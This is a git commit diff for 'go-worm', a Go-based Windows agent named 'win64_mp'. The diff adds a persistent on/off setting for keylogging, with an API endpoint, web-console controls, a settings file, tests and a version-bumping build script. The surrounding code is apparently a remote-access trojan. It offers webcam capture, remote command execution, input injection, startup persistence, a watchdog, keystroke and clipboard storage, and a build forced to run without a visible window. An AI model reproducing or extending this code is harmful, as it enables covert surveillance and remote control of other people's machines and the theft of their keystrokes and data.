feat(agent): add persistent klogging settings
- Add settings API and UI to toggle keylog - Persist preference in settings.json - Expose klogging state in status endpoint - Inject build version into web console - Bump version automatically on build
This commit is contained in:
@@ -97,6 +97,7 @@ func (a *Agent) Serve() error {
|
|||||||
mux.HandleFunc("/api/v1/webcam/frame", a.handleWebcamFrame)
|
mux.HandleFunc("/api/v1/webcam/frame", a.handleWebcamFrame)
|
||||||
mux.HandleFunc("/api/v1/exec", a.handleExec)
|
mux.HandleFunc("/api/v1/exec", a.handleExec)
|
||||||
mux.HandleFunc("/api/v1/startup", a.handleStartup)
|
mux.HandleFunc("/api/v1/startup", a.handleStartup)
|
||||||
|
mux.HandleFunc("/api/v1/settings", a.handleSettings)
|
||||||
mux.HandleFunc("/api/v1/input/click", a.handleClick)
|
mux.HandleFunc("/api/v1/input/click", a.handleClick)
|
||||||
mux.HandleFunc("/api/v1/input/key", a.handleKey)
|
mux.HandleFunc("/api/v1/input/key", a.handleKey)
|
||||||
mux.HandleFunc("/api/v1/input/text", a.handleText)
|
mux.HandleFunc("/api/v1/input/text", a.handleText)
|
||||||
|
|||||||
@@ -56,6 +56,7 @@ func (a *Agent) handleStatus(w http.ResponseWriter, r *http.Request) {
|
|||||||
"uptime_seconds": int64(time.Since(a.startedAt).Seconds()), "local_ips": helpers.LocalIPs(),
|
"uptime_seconds": int64(time.Since(a.startedAt).Seconds()), "local_ips": helpers.LocalIPs(),
|
||||||
"agent_version": config.Version, "listen_address": a.addr,
|
"agent_version": config.Version, "listen_address": a.addr,
|
||||||
"startup_enabled": startup.Enabled(),
|
"startup_enabled": startup.Enabled(),
|
||||||
|
"klogging": keylog.Running(),
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -80,6 +81,38 @@ func (a *Agent) handleStartup(w http.ResponseWriter, r *http.Request) {
|
|||||||
helpers.WriteJSON(w, http.StatusOK, map[string]any{"startup_enabled": startup.Enabled()})
|
helpers.WriteJSON(w, http.StatusOK, map[string]any{"startup_enabled": startup.Enabled()})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func (a *Agent) handleSettings(w http.ResponseWriter, r *http.Request) {
|
||||||
|
switch r.Method {
|
||||||
|
case http.MethodGet:
|
||||||
|
helpers.WriteJSON(w, http.StatusOK, map[string]any{
|
||||||
|
"klogging": config.KeylogEnabled(),
|
||||||
|
"klogging_running": keylog.Running(),
|
||||||
|
})
|
||||||
|
case http.MethodPut:
|
||||||
|
r.Body = http.MaxBytesReader(w, r.Body, config.RequestBodyMax)
|
||||||
|
defer r.Body.Close()
|
||||||
|
var body struct {
|
||||||
|
Klogging *bool `json:"klogging"`
|
||||||
|
}
|
||||||
|
if err := json.NewDecoder(r.Body).Decode(&body); err != nil || body.Klogging == nil {
|
||||||
|
helpers.WriteError(w, http.StatusBadRequest, "klogging is required")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if err := keylog.SetEnabled(*body.Klogging); err != nil {
|
||||||
|
helpers.Log.Printf("klogging set: %v", err)
|
||||||
|
helpers.WriteError(w, http.StatusInternalServerError, "could not update klogging")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
helpers.WriteJSON(w, http.StatusOK, map[string]any{
|
||||||
|
"klogging": config.KeylogEnabled(),
|
||||||
|
"klogging_running": keylog.Running(),
|
||||||
|
})
|
||||||
|
default:
|
||||||
|
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func (a *Agent) handleFiles(w http.ResponseWriter, r *http.Request) {
|
func (a *Agent) handleFiles(w http.ResponseWriter, r *http.Request) {
|
||||||
switch r.Method {
|
switch r.Method {
|
||||||
case http.MethodGet:
|
case http.MethodGet:
|
||||||
|
|||||||
@@ -1,9 +1,11 @@
|
|||||||
package agent
|
package agent
|
||||||
|
|
||||||
import (
|
import (
|
||||||
|
"bytes"
|
||||||
"embed"
|
"embed"
|
||||||
"net/http"
|
"net/http"
|
||||||
|
|
||||||
|
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||||
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -33,6 +35,9 @@ func (a *Agent) handleWeb(w http.ResponseWriter, r *http.Request) {
|
|||||||
helpers.WriteError(w, http.StatusInternalServerError, "ui asset missing")
|
helpers.WriteError(w, http.StatusInternalServerError, "ui asset missing")
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
if name == "web/index.html" {
|
||||||
|
data = bytes.ReplaceAll(data, []byte("{{VERSION}}"), []byte(config.Version))
|
||||||
|
}
|
||||||
w.Header().Set("Content-Type", contentType)
|
w.Header().Set("Content-Type", contentType)
|
||||||
w.Header().Set("Cache-Control", "no-cache")
|
w.Header().Set("Cache-Control", "no-cache")
|
||||||
_, _ = w.Write(data)
|
_, _ = w.Write(data)
|
||||||
|
|||||||
@@ -15,6 +15,9 @@
|
|||||||
const startupState = document.getElementById("startup-state");
|
const startupState = document.getElementById("startup-state");
|
||||||
const startupAdd = document.getElementById("startup-add");
|
const startupAdd = document.getElementById("startup-add");
|
||||||
const startupRemove = document.getElementById("startup-remove");
|
const startupRemove = document.getElementById("startup-remove");
|
||||||
|
const keylogState = document.getElementById("keylog-state");
|
||||||
|
const keylogEnable = document.getElementById("keylog-enable");
|
||||||
|
const keylogDisable = document.getElementById("keylog-disable");
|
||||||
const videoCanvas = document.getElementById("video-canvas");
|
const videoCanvas = document.getElementById("video-canvas");
|
||||||
const videoMeta = document.getElementById("video-meta");
|
const videoMeta = document.getElementById("video-meta");
|
||||||
const videoStart = document.getElementById("video-start");
|
const videoStart = document.getElementById("video-start");
|
||||||
@@ -118,6 +121,10 @@
|
|||||||
async function loadStatus() {
|
async function loadStatus() {
|
||||||
const res = await api("/api/v1/status");
|
const res = await api("/api/v1/status");
|
||||||
const data = await res.json();
|
const data = await res.json();
|
||||||
|
const verEl = document.getElementById("app-version");
|
||||||
|
if (verEl && data.agent_version) {
|
||||||
|
verEl.textContent = data.agent_version;
|
||||||
|
}
|
||||||
const fields = [
|
const fields = [
|
||||||
["Hostname", data.hostname],
|
["Hostname", data.hostname],
|
||||||
["User", data.user],
|
["User", data.user],
|
||||||
@@ -128,10 +135,12 @@
|
|||||||
["Uptime", `${data.uptime_seconds}s`],
|
["Uptime", `${data.uptime_seconds}s`],
|
||||||
["Local IPs", (data.local_ips || []).join(", ") || "—"],
|
["Local IPs", (data.local_ips || []).join(", ") || "—"],
|
||||||
["Startup", data.startup_enabled ? "enabled" : "disabled"],
|
["Startup", data.startup_enabled ? "enabled" : "disabled"],
|
||||||
|
["klogging", data.klogging ? "on" : "off"],
|
||||||
];
|
];
|
||||||
setStartup(Boolean(data.startup_enabled));
|
setStartup(Boolean(data.startup_enabled));
|
||||||
currentListen = data.listen_address || "";
|
currentListen = data.listen_address || "";
|
||||||
syncUpdateMeta();
|
syncUpdateMeta();
|
||||||
|
loadSettings().catch((err) => showError(err.message));
|
||||||
statusFields.replaceChildren(
|
statusFields.replaceChildren(
|
||||||
...fields.map(([label, value]) => {
|
...fields.map(([label, value]) => {
|
||||||
const item = document.createElement("div");
|
const item = document.createElement("div");
|
||||||
@@ -303,6 +312,29 @@
|
|||||||
startupRemove.disabled = !enabled;
|
startupRemove.disabled = !enabled;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function setKeylog(enabled) {
|
||||||
|
keylogState.textContent = enabled ? "klogging: on" : "klogging: off";
|
||||||
|
keylogEnable.disabled = enabled;
|
||||||
|
keylogDisable.disabled = !enabled;
|
||||||
|
}
|
||||||
|
|
||||||
|
async function loadSettings() {
|
||||||
|
const res = await api("/api/v1/settings");
|
||||||
|
const data = await res.json();
|
||||||
|
setKeylog(Boolean(data.klogging));
|
||||||
|
}
|
||||||
|
|
||||||
|
async function setKeylogEnabled(enabled) {
|
||||||
|
const res = await api("/api/v1/settings", {
|
||||||
|
method: "PUT",
|
||||||
|
headers: { "Content-Type": "application/json" },
|
||||||
|
body: JSON.stringify({ klogging: enabled }),
|
||||||
|
});
|
||||||
|
const data = await res.json();
|
||||||
|
setKeylog(Boolean(data.klogging));
|
||||||
|
loadStatus().catch((err) => showError(err.message));
|
||||||
|
}
|
||||||
|
|
||||||
async function setStartupEnabled(enabled) {
|
async function setStartupEnabled(enabled) {
|
||||||
const res = await api("/api/v1/startup", { method: enabled ? "POST" : "DELETE" });
|
const res = await api("/api/v1/startup", { method: enabled ? "POST" : "DELETE" });
|
||||||
const data = await res.json();
|
const data = await res.json();
|
||||||
@@ -682,6 +714,9 @@
|
|||||||
if (button.dataset.tab === "logs") {
|
if (button.dataset.tab === "logs") {
|
||||||
listKeylogs().catch((err) => showError(err.message));
|
listKeylogs().catch((err) => showError(err.message));
|
||||||
}
|
}
|
||||||
|
if (button.dataset.tab === "settings") {
|
||||||
|
loadSettings().catch((err) => showError(err.message));
|
||||||
|
}
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
@@ -694,6 +729,12 @@
|
|||||||
startupRemove.addEventListener("click", () => {
|
startupRemove.addEventListener("click", () => {
|
||||||
setStartupEnabled(false).catch((err) => showError(err.message));
|
setStartupEnabled(false).catch((err) => showError(err.message));
|
||||||
});
|
});
|
||||||
|
keylogEnable.addEventListener("click", () => {
|
||||||
|
setKeylogEnabled(true).catch((err) => showError(err.message));
|
||||||
|
});
|
||||||
|
keylogDisable.addEventListener("click", () => {
|
||||||
|
setKeylogEnabled(false).catch((err) => showError(err.message));
|
||||||
|
});
|
||||||
document.getElementById("file-list").addEventListener("click", () => {
|
document.getElementById("file-list").addEventListener("click", () => {
|
||||||
listFiles(pathInput.value.trim()).catch((err) => showError(err.message));
|
listFiles(pathInput.value.trim()).catch((err) => showError(err.message));
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -122,6 +122,14 @@
|
|||||||
font-size: 1.05rem;
|
font-size: 1.05rem;
|
||||||
line-height: 1.2;
|
line-height: 1.2;
|
||||||
}
|
}
|
||||||
|
.brand-text .ver {
|
||||||
|
margin-left: 0.45rem;
|
||||||
|
font-size: 0.78rem;
|
||||||
|
font-weight: 500;
|
||||||
|
font-family: var(--mono);
|
||||||
|
color: var(--text-muted);
|
||||||
|
letter-spacing: 0;
|
||||||
|
}
|
||||||
.brand-text p {
|
.brand-text p {
|
||||||
margin-top: 0.1rem;
|
margin-top: 0.1rem;
|
||||||
font-size: 0.78rem;
|
font-size: 0.78rem;
|
||||||
@@ -711,7 +719,7 @@
|
|||||||
</svg>
|
</svg>
|
||||||
</div>
|
</div>
|
||||||
<div class="brand-text">
|
<div class="brand-text">
|
||||||
<h1>win64_mp</h1>
|
<h1>win64_mp <span id="app-version" class="ver">{{VERSION}}</span></h1>
|
||||||
<p>Local agent console</p>
|
<p>Local agent console</p>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@@ -728,6 +736,7 @@
|
|||||||
<button data-tab="webcam" type="button">Webcam</button>
|
<button data-tab="webcam" type="button">Webcam</button>
|
||||||
<button data-tab="exec" type="button">Command</button>
|
<button data-tab="exec" type="button">Command</button>
|
||||||
<button data-tab="update" type="button">Update</button>
|
<button data-tab="update" type="button">Update</button>
|
||||||
|
<button data-tab="settings" type="button">Settings</button>
|
||||||
<button data-tab="logs" type="button">Logs</button>
|
<button data-tab="logs" type="button">Logs</button>
|
||||||
</nav>
|
</nav>
|
||||||
|
|
||||||
@@ -909,6 +918,21 @@
|
|||||||
<p id="update-result" class="meta"></p>
|
<p id="update-result" class="meta"></p>
|
||||||
</section>
|
</section>
|
||||||
|
|
||||||
|
<section id="settings" class="panel">
|
||||||
|
<div class="panel-head">
|
||||||
|
<div>
|
||||||
|
<h2>Settings</h2>
|
||||||
|
<p class="lede">Toggle host-side hooks. Changes persist across restarts.</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="startup-card">
|
||||||
|
<span id="keylog-state" class="meta">klogging: —</span>
|
||||||
|
<button id="keylog-enable" type="button">Enable</button>
|
||||||
|
<button id="keylog-disable" class="danger" type="button">Disable</button>
|
||||||
|
</div>
|
||||||
|
<p class="hint">klogging runs in-process. If the agent is crashing, leave this off.</p>
|
||||||
|
</section>
|
||||||
|
|
||||||
<section id="logs" class="panel">
|
<section id="logs" class="panel">
|
||||||
<div class="panel-head">
|
<div class="panel-head">
|
||||||
<div>
|
<div>
|
||||||
|
|||||||
+11
-1
@@ -8,8 +8,10 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
// Version is the agent build version. scripts/build.sh overwrites this via -X.
|
||||||
|
var Version = "1.0.0"
|
||||||
|
|
||||||
const (
|
const (
|
||||||
Version = "1.0.0"
|
|
||||||
DefaultAddr = "0.0.0.0:5032"
|
DefaultAddr = "0.0.0.0:5032"
|
||||||
MutexName = "win64_mp_Mutex"
|
MutexName = "win64_mp_Mutex"
|
||||||
RestartDelay = 3 * time.Second
|
RestartDelay = 3 * time.Second
|
||||||
@@ -32,6 +34,7 @@ const (
|
|||||||
KeylogSubdir = "keystrokes"
|
KeylogSubdir = "keystrokes"
|
||||||
LogsSubdir = "logs"
|
LogsSubdir = "logs"
|
||||||
ClipboardSubdir = "clipboard"
|
ClipboardSubdir = "clipboard"
|
||||||
|
SettingsFileName = "settings.json"
|
||||||
WatchdogTaskName = "win64_mp_watchdog"
|
WatchdogTaskName = "win64_mp_watchdog"
|
||||||
DefaultKeylogRetentionDays = 7
|
DefaultKeylogRetentionDays = 7
|
||||||
AuthUser = "admin"
|
AuthUser = "admin"
|
||||||
@@ -46,6 +49,13 @@ func EnvOr(name, fallback string) string {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func KeylogEnabled() bool {
|
func KeylogEnabled() bool {
|
||||||
|
if on, ok := readKeylogPref(); ok {
|
||||||
|
return on
|
||||||
|
}
|
||||||
|
return envKeylogEnabled()
|
||||||
|
}
|
||||||
|
|
||||||
|
func envKeylogEnabled() bool {
|
||||||
switch strings.ToLower(strings.TrimSpace(os.Getenv("KEYLOG_ENABLED"))) {
|
switch strings.ToLower(strings.TrimSpace(os.Getenv("KEYLOG_ENABLED"))) {
|
||||||
case "0", "false", "no", "off":
|
case "0", "false", "no", "off":
|
||||||
return false
|
return false
|
||||||
|
|||||||
@@ -0,0 +1,75 @@
|
|||||||
|
package config
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
)
|
||||||
|
|
||||||
|
type fileSettings struct {
|
||||||
|
Klogging *bool `json:"klogging,omitempty"`
|
||||||
|
KeylogEnabled *bool `json:"keylog_enabled,omitempty"` // legacy
|
||||||
|
}
|
||||||
|
|
||||||
|
func settingsPath() (string, error) {
|
||||||
|
dir, err := InstallDir()
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
return filepath.Join(dir, SettingsFileName), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func readKeylogPref() (bool, bool) {
|
||||||
|
s, err := loadFileSettings()
|
||||||
|
if err != nil {
|
||||||
|
return false, false
|
||||||
|
}
|
||||||
|
if s.Klogging != nil {
|
||||||
|
return *s.Klogging, true
|
||||||
|
}
|
||||||
|
if s.KeylogEnabled != nil {
|
||||||
|
return *s.KeylogEnabled, true
|
||||||
|
}
|
||||||
|
return false, false
|
||||||
|
}
|
||||||
|
|
||||||
|
func SetKeylogEnabled(on bool) error {
|
||||||
|
s, err := loadFileSettings()
|
||||||
|
if err != nil && !os.IsNotExist(err) {
|
||||||
|
s = fileSettings{}
|
||||||
|
}
|
||||||
|
s.Klogging = &on
|
||||||
|
s.KeylogEnabled = nil
|
||||||
|
return saveFileSettings(s)
|
||||||
|
}
|
||||||
|
|
||||||
|
func loadFileSettings() (fileSettings, error) {
|
||||||
|
path, err := settingsPath()
|
||||||
|
if err != nil {
|
||||||
|
return fileSettings{}, err
|
||||||
|
}
|
||||||
|
raw, err := os.ReadFile(path)
|
||||||
|
if err != nil {
|
||||||
|
return fileSettings{}, err
|
||||||
|
}
|
||||||
|
var s fileSettings
|
||||||
|
if err := json.Unmarshal(raw, &s); err != nil {
|
||||||
|
return fileSettings{}, err
|
||||||
|
}
|
||||||
|
return s, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func saveFileSettings(s fileSettings) error {
|
||||||
|
path, err := settingsPath()
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if err := os.MkdirAll(filepath.Dir(path), 0o700); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
raw, err := json.Marshal(s)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
return os.WriteFile(path, append(raw, '\n'), 0o600)
|
||||||
|
}
|
||||||
@@ -0,0 +1,45 @@
|
|||||||
|
package config
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestKeylogPrefOverridesEnv(t *testing.T) {
|
||||||
|
base := t.TempDir()
|
||||||
|
t.Setenv("XDG_CONFIG_HOME", base)
|
||||||
|
t.Setenv("APPDATA", base)
|
||||||
|
t.Setenv("KEYLOG_ENABLED", "1")
|
||||||
|
|
||||||
|
if !KeylogEnabled() {
|
||||||
|
t.Fatal("expected env default on")
|
||||||
|
}
|
||||||
|
if err := SetKeylogEnabled(false); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if KeylogEnabled() {
|
||||||
|
t.Fatal("pref should disable keylog")
|
||||||
|
}
|
||||||
|
if err := SetKeylogEnabled(true); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if !KeylogEnabled() {
|
||||||
|
t.Fatal("pref should enable keylog")
|
||||||
|
}
|
||||||
|
raw, err := os.ReadFile(filepath.Join(base, AppDataDir, SettingsFileName))
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
var s fileSettings
|
||||||
|
if err := json.Unmarshal(raw, &s); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if s.Klogging == nil || !*s.Klogging {
|
||||||
|
t.Fatalf("saved settings = %s", raw)
|
||||||
|
}
|
||||||
|
if s.KeylogEnabled != nil {
|
||||||
|
t.Fatalf("legacy keylog_enabled should be dropped, got %s", raw)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -17,6 +17,23 @@ var (
|
|||||||
writerWG sync.WaitGroup
|
writerWG sync.WaitGroup
|
||||||
)
|
)
|
||||||
|
|
||||||
|
func Running() bool {
|
||||||
|
mu.Lock()
|
||||||
|
defer mu.Unlock()
|
||||||
|
return running
|
||||||
|
}
|
||||||
|
|
||||||
|
func SetEnabled(on bool) error {
|
||||||
|
if err := config.SetKeylogEnabled(on); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if !on {
|
||||||
|
Stop()
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return Start()
|
||||||
|
}
|
||||||
|
|
||||||
func Start() error {
|
func Start() error {
|
||||||
if !config.KeylogEnabled() {
|
if !config.KeylogEnabled() {
|
||||||
return nil
|
return nil
|
||||||
|
|||||||
@@ -247,6 +247,25 @@ func Spec() map[string]any {
|
|||||||
}),
|
}),
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
|
"/api/v1/settings": map[string]any{
|
||||||
|
"get": map[string]any{
|
||||||
|
"summary": "Read agent settings",
|
||||||
|
"operationId": "getSettings",
|
||||||
|
"responses": auth(map[string]any{
|
||||||
|
"200": okJSON("Current settings", ref("Settings")),
|
||||||
|
}),
|
||||||
|
},
|
||||||
|
"put": map[string]any{
|
||||||
|
"summary": "Update agent settings",
|
||||||
|
"operationId": "updateSettings",
|
||||||
|
"description": "Persist klogging on/off. Disabling unhooks the keyboard hook immediately.",
|
||||||
|
"requestBody": jsonBody(ref("SettingsUpdate")),
|
||||||
|
"responses": auth(map[string]any{
|
||||||
|
"200": okJSON("Updated settings", ref("Settings")),
|
||||||
|
"400": errResp("Invalid body"),
|
||||||
|
}),
|
||||||
|
},
|
||||||
|
},
|
||||||
"/api/v1/update": map[string]any{
|
"/api/v1/update": map[string]any{
|
||||||
"post": map[string]any{
|
"post": map[string]any{
|
||||||
"summary": "Deploy uploaded agent executable on alternate port",
|
"summary": "Deploy uploaded agent executable on alternate port",
|
||||||
@@ -357,6 +376,7 @@ func Spec() map[string]any {
|
|||||||
"agent_version": map[string]string{"type": "string"},
|
"agent_version": map[string]string{"type": "string"},
|
||||||
"listen_address": map[string]string{"type": "string"},
|
"listen_address": map[string]string{"type": "string"},
|
||||||
"startup_enabled": map[string]any{"type": "boolean"},
|
"startup_enabled": map[string]any{"type": "boolean"},
|
||||||
|
"klogging": map[string]any{"type": "boolean"},
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
"FileItem": map[string]any{
|
"FileItem": map[string]any{
|
||||||
@@ -421,6 +441,20 @@ func Spec() map[string]any {
|
|||||||
"type": "object",
|
"type": "object",
|
||||||
"properties": map[string]any{"startup_enabled": map[string]any{"type": "boolean"}},
|
"properties": map[string]any{"startup_enabled": map[string]any{"type": "boolean"}},
|
||||||
},
|
},
|
||||||
|
"Settings": map[string]any{
|
||||||
|
"type": "object",
|
||||||
|
"properties": map[string]any{
|
||||||
|
"klogging": map[string]any{"type": "boolean"},
|
||||||
|
"klogging_running": map[string]any{"type": "boolean"},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
"SettingsUpdate": map[string]any{
|
||||||
|
"type": "object",
|
||||||
|
"required": []string{"klogging"},
|
||||||
|
"properties": map[string]any{
|
||||||
|
"klogging": map[string]any{"type": "boolean"},
|
||||||
|
},
|
||||||
|
},
|
||||||
"ClickRequest": map[string]any{
|
"ClickRequest": map[string]any{
|
||||||
"type": "object", "required": []string{"x", "y", "button"},
|
"type": "object", "required": []string{"x", "y", "button"},
|
||||||
"properties": map[string]any{
|
"properties": map[string]any{
|
||||||
|
|||||||
@@ -28,4 +28,18 @@ func TestSpec(t *testing.T) {
|
|||||||
if !ok || len(schemas) < 10 {
|
if !ok || len(schemas) < 10 {
|
||||||
t.Fatalf("expected schemas, got %d", len(schemas))
|
t.Fatalf("expected schemas, got %d", len(schemas))
|
||||||
}
|
}
|
||||||
|
status, ok := schemas["Status"].(map[string]any)
|
||||||
|
if !ok {
|
||||||
|
t.Fatal("missing Status schema")
|
||||||
|
}
|
||||||
|
props, ok := status["properties"].(map[string]any)
|
||||||
|
if !ok {
|
||||||
|
t.Fatal("missing Status properties")
|
||||||
|
}
|
||||||
|
if _, ok := props["klogging"]; !ok {
|
||||||
|
t.Fatal("Status missing klogging")
|
||||||
|
}
|
||||||
|
if _, ok := props["keylog_enabled"]; ok {
|
||||||
|
t.Fatal("Status still has keylog_enabled")
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+17
-2
@@ -4,7 +4,22 @@ set -euo pipefail
|
|||||||
cd "$(dirname "$0")/.."
|
cd "$(dirname "$0")/.."
|
||||||
|
|
||||||
out="${1:-win64_mp.exe}"
|
out="${1:-win64_mp.exe}"
|
||||||
GOOS=windows GOARCH=amd64 go build -ldflags "-s -w -H windowsgui" -o "$out" .
|
|
||||||
|
version_file="VERSION"
|
||||||
|
if [[ ! -f "$version_file" ]]; then
|
||||||
|
echo "1.0.0" > "$version_file"
|
||||||
|
fi
|
||||||
|
old="$(tr -d '[:space:]' < "$version_file")"
|
||||||
|
if [[ ! "$old" =~ ^[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
|
||||||
|
echo "bad VERSION: $old" >&2
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
IFS=. read -r major minor patch <<< "$old"
|
||||||
|
ver="${major}.${minor}.$((10#$patch + 1))"
|
||||||
|
printf '%s\n' "$ver" > "$version_file"
|
||||||
|
|
||||||
|
ldflags="-s -w -H windowsgui -X tea.chunkbyte.com/kato/go-worm/lib/config.Version=${ver}"
|
||||||
|
GOOS=windows GOARCH=amd64 go build -ldflags "$ldflags" -o "$out" .
|
||||||
# Belt-and-suspenders: PE subsystem WINDOWS (2) even if ldflags were dropped.
|
# Belt-and-suspenders: PE subsystem WINDOWS (2) even if ldflags were dropped.
|
||||||
python3 - "$out" <<'PY'
|
python3 - "$out" <<'PY'
|
||||||
import struct, sys
|
import struct, sys
|
||||||
@@ -24,4 +39,4 @@ with open(path, "r+b") as f:
|
|||||||
f.write(struct.pack("<H", 2))
|
f.write(struct.pack("<H", 2))
|
||||||
print(f"pe subsystem=gui {path}")
|
print(f"pe subsystem=gui {path}")
|
||||||
PY
|
PY
|
||||||
echo "built $out"
|
echo "built $out $ver"
|
||||||
|
|||||||
Reference in New Issue
Block a user